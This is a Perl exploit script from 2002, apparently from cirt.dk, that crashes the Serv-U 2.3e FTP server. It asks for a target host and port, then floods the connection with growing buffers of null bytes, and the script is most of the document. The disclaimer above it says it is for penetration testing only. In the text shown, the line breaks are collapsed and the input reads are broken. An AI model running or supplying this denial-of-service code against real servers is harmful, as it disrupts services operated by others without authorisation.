#!/usr/bin/perl #ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO # # ************************************************** !!! WARNING !!! *********************************************************** # * FOR SECURITY TESTiNG ONLY! * # ****************************************************************************************************************************** # * By using this code you agree that I makes no warranties or representations, express or implied, about the * # * accuracy, timeliness or completeness of this, including without limitations the implied warranties of * # * merchantability and fitness for a particular purpose. * # * I makes NO Warranty of non-infringement. This code may contain technical inaccuracies or typographical errors. * # * This code can never be copyrighted or owned by any commercial company, under no circumstances what so ever. * # * but can be use for as long the developer, are giving explicit approval of the usage, and the user understand * # * and approve of all the parts written in this notice. * # * This program may NOT be used by any Danish company, unless explicit written permission from the developer . * # * Neither myself nor any of my Affiliates shall be liable for any direct, incidental, consequential, indirect * # * or punitive damages arising out of access to, inability to access, or any use of the content of this code, * # * including without limitation any PC, other equipment or other property, even if I am Expressly advised of * # * the possibility of such damages. I DO NOT encourage criminal activities. If you use this code or commit * # * criminal acts with it, then you are solely responsible for your own actions and by use, downloading,transferring, * # * and/or reading anything from this code you are considered to have accepted the terms and conditions and have read * # * this disclaimer. Once again this code is for penetration testing purposes only. And once again, DO NOT DISTRIBUTE! * # ****************************************************************************************************************************** # # FTP Serv-U 2.3e FTP Service Killer # http://www.cirt.dk/ # # #For some reason it only works on a local network # Crashes FTP Serv-U 2.3e by sending it a string of null bytes. # use IO::Socket; my $host; # Host being probed. my $port; # FTP port. system('cls'); print "\n Serv-U 2.3e Overflow Vuln 2002 by Dennis Rand."; print "\n http://www.cirt.dk"; print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "\n Enter host to crash : "; $host=; chomp $host; if ($host eq ""){$host="127.0.0.1"}; print "\n Port : "; $port=; chomp $port; if ($port =~/\D/ ){$port="21"}; if ($port eq "" ) {$port = "21"}; print " Connecting to $host:$port..."; my $connection = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port", ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n"; $connection -> autoflush(1); print "..... \n"; $counter = 0; $buf = ""; # 135168 while ($counter < 135168) { print "."; $buf .= "\x00"; $counter += 1; print $connection "$buf\n"; } sleep(2); print "\n Done....."; close($connection);